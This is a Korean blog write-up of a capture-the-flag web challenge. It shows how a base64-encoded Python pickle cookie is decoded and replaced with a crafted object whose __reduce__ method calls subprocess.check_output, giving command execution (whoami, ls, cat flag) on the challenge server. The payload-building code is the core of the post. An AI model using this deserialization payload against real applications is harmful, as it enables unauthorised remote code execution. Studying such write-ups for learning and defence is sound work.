티스토리 뷰
문제 개요
Look Morty, look! I turned myself into a website Morty, I'm Website Rick babyyy!! But don't play around with some of them anti pickle serum I have stored somewhere safe, if I turn back to a human I'll have to go to family therapy and we don't want that Morty.
문제 분석
첫 화면에 위와 같이 나왔습니다. <__main__.anti_pickle_serum object at 0x7f17a8cc8950> 이라고 나오는 문자열의 경우 파이썬에서 특정 클래스를 출력할 때 위와 같이 나옵니다.
그리고 pickle 이라는 단어를 봤을 때 python 의 pickle 모듈을 사용했을 것으로 유추되는 상황입니다.
그리고 cookie 값을 살펴보니 역시나 base64 인코딩된 상태의 pickle 문자열로 보이는 값이 나왔습니다.
console.log(document.cookie);
'plan_b=KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'
해당 base64 인코딩 된 문자열을 디코딩 해보면 아래와 같이 나옵니다.
atob(document.cookie.replace('plan_b=',''))
"(dp0\nS'serum'\np1\nccopy_reg\n_reconstructor\np2\n(c__main__\nanti_pickle_serum\np3\nc__builtin__\nobject\np4\nNtp5\nRp6\ns."
그리고 pickle 모듈을 사용해서 위 결과와 최대한 일치하는 예제를 만들어보고 결과가 같은지 확인해보았습니다.
from base64 import b64encode
import pickle
class anti_pickle_serum(object):
def __init__(self):
pass
code = pickle.dumps({"serum":anti_pickle_serum()}, protocol=0)
code = b64encode(code).decode()
print(code)
# KGRwMApWc2VydW0KcDEKY2NvcHlfcmVnCl9yZWNvbnN0cnVjdG9yCnAyCihjX19tYWluX18KYW50aV9waWNrbGVfc2VydW0KcDMKY19fYnVpbHRpbl9fCm9iamVjdApwNApOdHA1ClJwNgpzLg==
그리고 아래와 같이 동일하게 결과가 나오는 것을 확인할 수 있었습니다.
이제 anti_pickle_serum 클래스가 호출될 때 return 되는 값으로 임의 명령의 실행 결과 값으로 변경해보았습니다.
from base64 import b64encode, b64decode
import subprocess
import pickle
class anti_pickle_serum(object):
def __reduce__(self):
return (subprocess.check_output,(['whoami'],))
code = pickle.dumps({"serum":anti_pickle_serum()}, protocol=0)
code = b64encode(code).decode()
print(code)
serum = pickle.loads(b64decode(code))
print(serum)
# {'serum': b'domdomi\\domdomi\r\n'}
제 PC에서 실행해보았더니 whoami 명령어 결과가 domdomi로 잘 나오는 것을 확인할 수 있었습니다.
문제 풀이
이제 위와 같이해서 flag 파일을 찾고 flag 파일의 내용물을 출력해보았습니다.
Flag 파일 이름이 flag_wlp1b 라고 되어 있는 것을 ls 명령어 실행으로 알 수 있었습니다.
그리고 Flag 값도 cat flag 로 알 수 있었습니다.
참고 사이트 : https://docs.python.org/3/library/pickle.html
참고사항 : pickle 모듈은 OS별로 또 Python 버전 별로 다르게 동작하는 것 같으니 주의가 필요해보였습니다.
- 끝 -
'보안 > Wargame' 카테고리의 다른 글
[Hackthebox] - [Web] Render Quest Writeup(문제풀이) (32) | 2023.12.20 |
---|---|
[Hackthebox] - [Web] The Magic Informer Writeup(문제풀이) (0) | 2023.02.01 |
[Webhacking.kr] invisible_dragon 문제풀이(Writeup) (0) | 2023.01.22 |
[Webhacking.kr] RegexMaster 문제풀이(Writeup) (0) | 2023.01.13 |
[Webhacking.kr] MEMO Service 문제풀이(Writeup) (0) | 2023.01.13 |